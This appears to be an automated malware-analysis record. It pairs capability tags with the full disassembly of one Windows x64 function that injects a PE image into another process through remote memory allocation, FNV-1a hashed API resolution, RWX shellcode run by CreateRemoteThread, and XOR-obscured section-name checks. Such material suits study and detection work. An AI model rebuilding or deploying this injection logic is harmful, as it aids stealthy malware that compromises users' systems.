Function at 0x140005f90
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Get process filename
Hash data using fnv
Inject thread
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x1401cbc98]
xor rax, rsp
mov qword [rbp + 0x70], rax
mov r14, qword [rbp + 0x100]
mov r13, rcx
mov ecx, 1
mov byte [rsp + 0x40], r9b
mov rsi, rdx
call fcn.140025088
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x1400067c4
movsxd r15, dword [rsi + 0x3c]
mov eax, 0x8664
add r15, rsi
mov qword [rbp + 0x28], r15
cmp word [r15 + 4], ax
jne 0x1400067c4
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
mov r12, rax
test rax, rax
je 0x1400067c4
mov dword [rbp + 0x30], 0
lea rax, [rbp + 0x30]
mov r8d, dword [r15 + 0x50]
mov r9d, 0x40
mov rdx, r12
mov qword [rsp + 0x20], rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400060f7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400060f7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400060f2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400060d0
cmp r8d, 0x53b2070f
je 0x1400060fc
test r9d, r9d
jne 0x1400060b0
mov rax, qword [rax]
jmp 0x140006080
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [rbp - 0x60], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400061a7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400061a7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400061a2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140006180
cmp r8d, 0xf8f45725
je 0x1400061ac
test r9d, r9d
jne 0x140006160
mov rax, qword [rax]
jmp 0x140006130
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [rbp - 0x58], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140006257
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140006257
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140006252
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140006230
cmp r8d, 0x38791528
je 0x14000625c
test r9d, r9d
jne 0x140006210
mov rax, qword [rax]
jmp 0x1400061e0
mov ecx, dword [rbx + 0x24]
mov r8, rsi
add rcx, r10
mov qword [rsp + 0x20], 0
movzx edx, word [rcx + r9*2]
mov r9d, 0x1000
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, r13
add rax, r10
mov qword [rbp - 0x30], r14
mov r14, qword [rsp + 0x48]
mov qword [rbp - 0x48], r12
mov rdx, r14
movzx r12d, byte [rbp + 0xf0]
mov qword [rbp - 0x50], rax
mov eax, dword [rbp + 0xf8]
mov dword [rbp - 0x38], eax
mov dword [rbp - 0x28], r12d
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400067af
movzx ebx, word [r15 + 0x14]
xor edi, edi
add rbx, 0x2c
cmp word [r15 + 6], di
je 0x140006313
add rbx, r15
mov eax, dword [rbx - 4]
test eax, eax
je 0x140006304
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, rsi
add rdx, r14
mov qword [rsp + 0x20], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400067af
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x1400062d4
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, r13
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x70], rax
mov rsi, rax
test rax, rax
je 0x1400067af
xor edi, edi
lea r8, [rbp - 0x60]
mov rdx, rax
mov qword [rsp + 0x20], rdi
mov rcx, r13
lea r9d, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140006795
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
mov r15, rax
test rax, rax
je 0x140006795
mov r9d, 0x1000
mov qword [rsp + 0x20], rdi
lea r8, [0x1400067f0]
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140006766
mov qword [rsp + 0x30], rdi
mov r9, r15
mov dword [rsp + 0x28], edi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140006766
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [rax + rax]
lea rdx, [rbp + 0x20]
mov dword [rbp + 0x20], edi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0x20], 0x103
jne 0x1400067c4
xorps xmm0, xmm0
mov qword [rsp + 0x20], rdi
mov r9d, 0x40
lea r8, [rbp - 0x20]
mov rdx, rsi
mov rcx, r13
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp]
cmp rbx, 0x404040
je 0x140006766
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x1400063f0
mov ecx, 0x1400000
call fcn.140025088
mov r14, rax
test rax, rax
je 0x1400067c4
xor edx, edx
mov r8d, 0x1400000
mov rcx, rax
call fcn.14001f670
cmp byte [rsp + 0x40], dil
je 0x1400064a5
mov rdx, qword [rsp + 0x48]
mov r9d, 0x1000
mov r8, r14
mov qword [rsp + 0x20], rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp byte [rbp + 0xe0], dil
je 0x140006658
mov r9, qword [rbp + 0x28]
movzx eax, word [r9 + 0x14]
lea rbx, [r9 + 0x18]
add rbx, rax
cmp word [r9 + 6], di
je 0x140006658
mov rsi, qword [rsp + 0x48]
movabs rax, 0xe6735e045c77495e
movabs rcx, 0xe6733f134f604b5e
movabs r10, 0xdea27d70b9273970
movabs r11, 0xe6733f703d133970
mov r15, r9
nop dword [rax]
mov r9d, dword [rbx + 8]
test r9d, r9d
je 0x140006630
test r12b, r12b
jne 0x140006565
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x60]
mov qword [rsp + 0x68], r10
mov rax, rbx
movdqa xmm0, xmmword [rsp + 0x60]
sub r8, rbx
mov qword [rbp + 0x40], r11
mov qword [rbp + 0x48], r10
pxor xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rsp + 0x60], xmm0
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140006553
inc rax
test ecx, ecx
jne 0x140006540
test edx, edx
je 0x1400065f7
movabs rcx, 0xe6733f134f604b5e
mov qword [rsp + 0x70], rcx
lea r8, [rsp + 0x70]
mov qword [rsp + 0x78], r10
mov rax, rbx
movdqa xmm0, xmmword [rsp + 0x70]
sub r8, rbx
mov qword [rbp + 0x50], r11
mov qword [rbp + 0x58], r10
pxor xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400065a6
inc rax
test ecx, ecx
jne 0x140006593
test edx, edx
je 0x1400065f7
movabs rax, 0xe6735c1f51764b5e
mov qword [rbp - 0x78], r10
mov qword [rbp - 0x80], rax
lea r8, [rbp - 0x80]
movdqa xmm0, xmmword [rbp - 0x80]
mov rax, rbx
mov qword [rbp + 0x60], r11
sub r8, rbx
mov qword [rbp + 0x68], r10
pxor xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x80], xmm0
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400065f3
inc rax
test ecx, ecx
jne 0x1400065e0
test edx, edx
jne 0x140006626
mov edx, dword [rbx + 0xc]
mov r8, r14
add rdx, rsi
mov qword [rsp + 0x20], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs r10, 0xdea27d70b9273970
movabs r11, 0xe6733f703d133970
movabs rcx, 0xe6733f134f604b5e
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
movabs rax, 0xe6735e045c77495e
jne 0x140006500
mov rsi, qword [rbp - 0x70]
xor edi, edi
mov r15, qword [rsp + 0x50]
cmp byte [rbp + 0xe8], 0
je 0x14000671e
mov r12, qword [rbp + 0x28]
movzx ebx, word [r12 + 0x14]
add rbx, 0x3c
cmp word [r12 + 6], 0
je 0x1400066f3
mov r15, qword [rsp + 0x48]
add rbx, r12
mov edx, 0x20
nop dword [rax]
mov ecx, dword [rbx - 0x1c]
test ecx, ecx
je 0x1400066de
mov eax, dword [rbx]
mov dword [rbp + 0x20], 0
test eax, 0x80000000
jbe 0x1400066af
mov r9d, 4
jmp 0x1400066be
test eax, 0x20000000
mov r9d, 2
cmova r9d, edx
mov edx, dword [rbx - 0x18]
lea rax, [rbp + 0x20]
mov r8, rcx
mov qword [rsp + 0x20], rax
add rdx, r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, 0x20
movzx eax, word [r12 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140006690
mov r15, qword [rsp + 0x50]
movzx eax, word [r12 + 0x14]
xor edi, edi
mov rdx, qword [rsp + 0x48]
mov rcx, r13
mov dword [rbp + 0x28], edi
mov r8d, dword [rax + r12 + 0x24]
lea r9d, [rdi + 2]
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r9d, 0x1000
mov qword [rsp + 0x20], rdi
mov r8, r14
mov rdx, r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
jmp 0x1400067c6
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, r15
jmp 0x1400067b2
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rsi
jmp 0x1400067b2
mov rdx, r14
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14000f3c0
mov rbx, qword [rsp + 0x1d0]
add rsp, 0x180
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret